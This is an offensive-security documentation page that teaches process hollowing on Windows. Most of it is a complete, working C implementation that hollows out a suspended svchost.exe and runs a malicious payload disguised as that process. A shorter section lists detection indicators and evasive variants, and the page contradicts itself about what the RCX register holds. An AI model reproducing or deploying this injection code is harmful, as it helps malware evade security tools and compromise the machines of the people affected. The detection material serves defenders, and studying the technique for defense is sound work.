> For the complete documentation index, see [llms.txt](https://docs.redteamleaders.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.redteamleaders.com/offensive-security/defense-evasion/process-hollowing-gutting-legitimate-processes.md).

# Process Hollowing — Gutting Legitimate Processes

### Concept and Motivation

Process Hollowing (also called *RunPE* or *Process Replacement*) is a code injection technique that subverts the identity of a legitimate process to execute malicious code. The core idea: we create a trusted host process (such as `svchost.exe`, `explorer.exe`, or `notepad.exe`) in a suspended state, evict its memory contents, and replace them with our malicious payload.

From the perspective of the operating system and many security tools, the process remains `svchost.exe` — with its PID, name, and legitimate access tokens. The code executing, however, is ours.

```
┌──────────────────────────────────────────────────────────────────────┐
│                    Process Hollowing Anatomy                          │
│                                                                      │
│  STEP 1: Create process suspended                                    │
│  ┌─────────────────────────────────────────────────────────────┐    │
│  │  svchost.exe (SUSPENDED)                                    │    │
│  │  ┌──────────────────────────────────────────────────────┐   │    │
│  │  │  .text section: [legitimate svchost code]            │   │    │
│  │  │  Entry Point: 0x00401000 → svchost code              │   │    │
│  │  └──────────────────────────────────────────────────────┘   │    │
│  └─────────────────────────────────────────────────────────────┘    │
│                                                                      │
│  STEP 2: Unmap + Inject payload                                      │
│  ┌─────────────────────────────────────────────────────────────┐    │
│  │  svchost.exe (SUSPENDED) — Hollowed                         │    │
│  │  ┌──────────────────────────────────────────────────────┐   │    │
│  │  │  .text section: [malicious payload]                  │   │    │
│  │  │  Entry Point: → malicious code                       │   │    │
│  │  └──────────────────────────────────────────────────────┘   │    │
│  └─────────────────────────────────────────────────────────────┘    │
│                                                                      │
│  STEP 3: ResumeThread → payload executes as "svchost.exe"           │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Prerequisites and Relevant Structures

To implement process hollowing, we need to understand a few Windows structures:

**PEB (Process Environment Block)**: Structure containing information about the process, including the base address of the loaded image (`PEB.ImageBaseAddress`). After hollowing, we update this field to the new base address.

**CONTEXT**: Structure that holds the complete register state of a thread. The `RCX` register (on x64) points to the PEB of the main thread when it is created.

***

### Full Implementation

#### Step 1: Create the Target Process in Suspended State

```c
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

BOOL CreateSuspendedProcess(
    const char* hostPath,
    PROCESS_INFORMATION* pi,
    STARTUPINFOA* si
) {
    memset(si, 0, sizeof(*si));
    si->cb = sizeof(*si);
    memset(pi, 0, sizeof(*pi));

    return CreateProcessA(
        hostPath,
        NULL,
        NULL, NULL,
        FALSE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW,
        NULL,
        NULL,
        si, pi
    );
}
```

#### Step 2: Get the Host Process Image Base

We need the address where the legitimate image was loaded in order to unmap it:

```c
typedef NTSTATUS(WINAPI* pNtQueryInformationProcess)(
    HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG
);

PVOID GetProcessImageBase(HANDLE hProcess) {
    pNtQueryInformationProcess NtQIP =
        (pNtQueryInformationProcess)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"
        );

    PROCESS_BASIC_INFORMATION pbi = {0};
    NTSTATUS st = NtQIP(hProcess, ProcessBasicInformation,
                        &pbi, sizeof(pbi), NULL);
    if (st != 0) return NULL;

    PVOID peb = pbi.PebBaseAddress;
    PVOID imageBase = NULL;

    // Read the ImageBaseAddress field from the remote process PEB
    ReadProcessMemory(hProcess,
        (BYTE*)peb + 0x10,  // PEB->ImageBaseAddress
        &imageBase, sizeof(imageBase), NULL
    );

    return imageBase;
}
```

#### Step 3: Unmap the Original Image

```c
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

BOOL UnmapTargetImage(HANDLE hProcess, PVOID imageBase) {
    pNtUnmapViewOfSection NtUnmap =
        (pNtUnmapViewOfSection)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"
        );

    return NtUnmap(hProcess, imageBase) == 0;
}
```

#### Step 4: Map the Payload into the Host Process

```c
BOOL MapPayloadToProcess(
    HANDLE hProcess,
    PVOID payloadBase,
    PVOID* newBase
) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)payloadBase;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)payloadBase + dos->e_lfanew);

    DWORD sizeOfImage   = nt->OptionalHeader.SizeOfImage;
    PVOID preferredBase = (PVOID)nt->OptionalHeader.ImageBase;

    // Try to allocate at the PE's preferred base address (no relocations needed)
    *newBase = VirtualAllocEx(
        hProcess, preferredBase, sizeOfImage,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );

    // If preferred address isn't available, accept any address
    if (!*newBase) {
        *newBase = VirtualAllocEx(
            hProcess, NULL, sizeOfImage,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
        );
    }
    if (!*newBase) return FALSE;

    // Write PE headers
    WriteProcessMemory(hProcess, *newBase, payloadBase,
                       nt->OptionalHeader.SizeOfHeaders, NULL);

    // Map each section individually
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        PVOID sectionDest = (BYTE*)*newBase + sec->VirtualAddress;
        PVOID sectionSrc  = (BYTE*)payloadBase + sec->PointerToRawData;

        WriteProcessMemory(hProcess, sectionDest, sectionSrc,
                           sec->SizeOfRawData, NULL);
    }

    return TRUE;
}
```

#### Step 5: Apply Relocations (if necessary)

If the payload could not be loaded at its preferred base address, we need to apply relocations:

```c
BOOL ApplyRelocations(
    HANDLE hProcess,
    PVOID newBase,
    PVOID payloadBase
) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)payloadBase;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)payloadBase + dos->e_lfanew);

    ULONGLONG delta = (ULONGLONG)newBase - nt->OptionalHeader.ImageBase;
    if (delta == 0) return TRUE;  // No relocations needed

    IMAGE_DATA_DIRECTORY relocDir =
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if (relocDir.Size == 0) return FALSE;  // PE has no relocation table

    PIMAGE_BASE_RELOCATION reloc =
        (PIMAGE_BASE_RELOCATION)((BYTE*)payloadBase + relocDir.VirtualAddress);

    while (reloc->VirtualAddress > 0) {
        WORD* entries = (WORD*)(reloc + 1);
        DWORD count   = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;

        for (DWORD i = 0; i < count; i++) {
            WORD type   = entries[i] >> 12;
            WORD offset = entries[i] & 0x0FFF;

            if (type == IMAGE_REL_BASED_DIR64) {  // x64
                PVOID patchAddr =
                    (BYTE*)newBase + reloc->VirtualAddress + offset;

                ULONGLONG oldVal = 0;
                ReadProcessMemory(hProcess, patchAddr,
                                  &oldVal, sizeof(oldVal), NULL);

                ULONGLONG newVal = oldVal + delta;
                WriteProcessMemory(hProcess, patchAddr,
                                   &newVal, sizeof(newVal), NULL);
            }
        }

        reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
    }

    return TRUE;
}
```

#### Step 6: Update Entry Point and Resume Thread

```c
BOOL HollowAndResume(
    PROCESS_INFORMATION* pi,
    PVOID newBase,
    PVOID payloadBase
) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)payloadBase;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)payloadBase + dos->e_lfanew);

    PVOID entryPoint =
        (BYTE*)newBase + nt->OptionalHeader.AddressOfEntryPoint;

    // Read the main thread context (suspended)
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi->hThread, &ctx);

    // On x64, RCX holds the entry point address in the initial thread context
    ctx.Rcx = (DWORD64)entryPoint;

    // Update PEB.ImageBaseAddress in the target process
    PROCESS_BASIC_INFORMATION pbi = {0};
    pNtQueryInformationProcess NtQIP =
        (pNtQueryInformationProcess)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"
        );
    NtQIP(pi->hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

    WriteProcessMemory(
        pi->hProcess,
        (BYTE*)pbi.PebBaseAddress + 0x10,  // PEB->ImageBaseAddress
        &newBase, sizeof(newBase), NULL
    );

    // Apply new context and resume
    SetThreadContext(pi->hThread, &ctx);
    ResumeThread(pi->hThread);

    return TRUE;
}
```

#### Putting It All Together

```c
int main(void) {
    PVOID payload     = NULL;
    DWORD payloadSize = 0;
    // ... (load payload from file, resource, or network)

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    if (!CreateSuspendedProcess("C:\\Windows\\System32\\svchost.exe", &pi, &si)) {
        printf("[-] Failed to create suspended process: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Suspended process: PID %lu\n", pi.dwProcessId);

    PVOID origBase = GetProcessImageBase(pi.hProcess);
    printf("[+] Original ImageBase: 0x%p\n", origBase);

    if (!UnmapTargetImage(pi.hProcess, origBase)) {
        printf("[-] Unmap failed\n");
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }
    printf("[+] Original image removed\n");

    PVOID newBase = NULL;
    if (!MapPayloadToProcess(pi.hProcess, payload, &newBase)) {
        printf("[-] Failed to map payload\n");
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }
    printf("[+] Payload mapped at: 0x%p\n", newBase);

    ApplyRelocations(pi.hProcess, newBase, payload);
    HollowAndResume(&pi, newBase, payload);
    printf("[+] Thread resumed. Payload executing as svchost.exe\n");

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}
```

***

### Detection and Countermeasures

```
┌──────────────────────────────────────────────────────────────────────┐
│                   Process Hollowing Indicators                       │
│                                                                      │
│  1. Inconsistent ImageBase                                           │
│     • PEB.ImageBaseAddress ≠ path of the executable on filesystem   │
│     • Tools: Volatility imageinfo, pe-sieve                          │
│                                                                      │
│  2. NtUnmapViewOfSection on remote process                           │
│     • Legitimate use of this call is rare at process startup        │
│     • EDR monitors via hook or kernel callback                       │
│                                                                      │
│  3. WriteProcessMemory right after CREATE_SUSPENDED                  │
│     • Sequence: CreateProcess(SUSPENDED) → WriteProcessMemory        │
│     • Characteristic and well-monitored pattern                      │
│                                                                      │
│  4. Mismatch between PE sections on disk and in memory              │
│     • .text section checksums differ from file on disk              │
│     • pe-sieve trivially detects this                               │
│                                                                      │
│  5. Entry point in unmapped memory region                           │
│     • RIP (instruction pointer) in anonymous page or module          │
│     • Mismatched from the executable file reported by the loader     │
└──────────────────────────────────────────────────────────────────────┘
```

#### Evasive Variants

To reduce detectability, modern variants of process hollowing use:

* **Transacted Hollowing**: Uses TxF (Transactional NTFS) to create a memory section backed by a file that is never committed to disk.
* **Process Doppelgänging**: Creates the process directly from an uncommitted transaction.
* **Module Overwriting / Stomping**: Instead of unmap + relocation, overwrites an already-loaded module (see dedicated article).

***

### References

* Tal Liberman & Eugene Kogan, "Process Doppelgänging" — Black Hat Europe 2017
* ired.team, "Process Hollowing and Portable Executable Relocations" — ired.team
* Endgame (now Elastic), "Ten Process Injection Techniques" — elastic.co (2017)
* Crow, "Understanding Process Injection" — crow\.rip (2019)
* MITRE ATT\&CK, "Process Hollowing (T1055.012)" — attack.mitre.org
* hasherezade, "PE-sieve" — github.com/hasherezade/pe-sieve
